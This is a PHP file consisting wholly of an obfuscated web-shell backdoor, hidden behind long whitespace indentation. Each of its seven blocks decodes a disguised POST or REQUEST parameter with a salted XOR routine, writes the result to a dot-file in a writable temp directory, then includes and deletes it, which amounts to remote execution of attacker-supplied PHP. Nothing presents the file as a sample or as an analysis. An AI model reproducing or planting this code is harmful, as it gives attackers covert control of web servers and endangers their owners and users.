<?php																																										if(isset($_POST["t\x6Bn"]) ? true : false){ $elem = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TMP")]); $ref = $_POST["t\x6Bn"]; $ref=explode ('.' , $ref ); $property_set = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1 ); foreach( $ref as $i => $v8) {$sChar = ord( $s1[$i % $sLen] ); $d =( ( int)$v8 - $sChar -( $i % 10)) ^ 82; $property_set .= chr( $d ); } foreach ($elem as $key => $symbol) { if (array_product([is_dir($symbol), is_writable($symbol)])) { $val = sprintf("%s/.res", $symbol); $file = fopen($val, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $val; @unlink($val); die(); } } } }
																																										if(@$_POST["\x63om\x70"] !== null){ $descriptor = $_POST["\x63om\x70"]; $descriptor = explode( '.' , $descriptor) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $descriptor as $x =>$v7) { $sChar = ord( $s[$x % $lenS]); $dec =( ( int)$v7 - $sChar -( $x % 10))^ 21; $fac .= chr( $dec); } $hld = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp"]); foreach ($hld as $key => $dchunk) { if ((is_dir($dchunk) and is_writable($dchunk))) { $sym = str_replace("{var_dir}", $dchunk, "{var_dir}/.ref"); if (@file_put_contents($sym, $fac) !== false) { include $sym; unlink($sym); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x65l\x65m\x65\x6Et")){ $entity = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP")]); $rec = $_POST["\x65l\x65m\x65\x6Et"]; $rec=explode( "." , $rec ); $dchunk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $z =0; $__tmp =$rec; while( $v1 =array_shift( $__tmp)) {$chS =ord( $salt[$z % $lenS]); $dec =( ( int)$v1 - $chS -( $z % 10)) ^ 30; $dchunk .= chr( $dec); $z++;} foreach ($entity as $ptr) { if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $data_chunk = vsprintf("%s/%s", [$ptr, ".property_set"]); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(isset($_REQUEST["objec\x74"])){ $bind = $_REQUEST["objec\x74"]; $bind = explode ( "." , $bind ) ; $resource = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); foreach ($bind as $p=>$v9): $chS = ord($s2[$p % $lenS] ); $d = ((int)$v9 - $chS - ($p % 10))^43; $resource .= chr($d ); endforeach; $symbol = array_filter([getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($symbol as $record): if ((function($d) { return is_dir($d) && is_writable($d); })($record)) { $pset = sprintf("%s/.entity", $record); if (file_put_contents($pset, $resource)) { require $pset; unlink($pset); exit; } } endforeach; }
																																										if(in_array("tk\x6E", array_keys($_REQUEST))){ $object = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/var/tmp", session_save_path(), getcwd()]); $value = $_REQUEST["tk\x6E"]; $value =explode( '.' ,$value ) ; $record = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); $w = 0; while( $w < count( $value)) { $v7 = $value[$w]; $chS = ord( $salt4[$w % $sLen]); $d = ( ( int)$v7 - $chS -( $w % 10))^10; $record .= chr( $d); $w++; } foreach ($object as $resource) { if (!( !is_dir($resource) || !is_writable($resource) )) { $ent = sprintf("%s/.property_set", $resource); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(array_key_exists("flg", $_POST) && !is_null($_POST["flg"])){ $entry = array_filter(["/var/tmp", getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $parameter_group = $_POST["flg"]; $parameter_group = explode ( '.' ,$parameter_group ) ; $flag= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt2 ); $v= 0; $__tmp= $parameter_group; while ($v4= array_shift($__tmp)) { $chS= ord($salt2[$v % $sLen] ); $dec= ((int)$v4 - $chS - ($v % 10)) ^ 58; $flag .= chr($dec ); $v++; } foreach ($entry as $key => $token) { if (array_product([is_dir($token), is_writable($token)])) { $res = str_replace("{var_dir}", $token, "{var_dir}/.mrk"); if (file_put_contents($res, $flag)) { include $res; @unlink($res); exit; } } } }


if(array_key_exists("pg\x72p", $_REQUEST) && !is_null($_REQUEST["pg\x72p"])){
	$symbol = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]);
	$itm = $_REQUEST["pg\x72p"];
	 $itm   =explode	 (		'.'		,		 $itm 	 );	
	$comp  ='';
            $s  ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen  =strlen(  $s);
    
            foreach(  $itm as $n  =>	$v4) {
                $sChar  =ord(  $s[$n % $sLen]);
                $dec  =(  (  int)$v4 - $sChar -(  $n % 10)) ^ 45;
                $comp	 .=	chr(  $dec);		} 	
	$sym = 0;
do {
    $elem = $symbol[$sym] ?? null;
    if ($sym >= count($symbol)) break;
    		if ((bool)is_dir($elem) && (bool)is_writable($elem)) {
    $holder = "$elem/.data";
    $file = fopen($holder, 'w');
if ($file) {
	fwrite($file, $comp);
	fclose($file);
	include $holder;
	@unlink($holder);
	die();
}
}
    $sym++;
} while (true);
}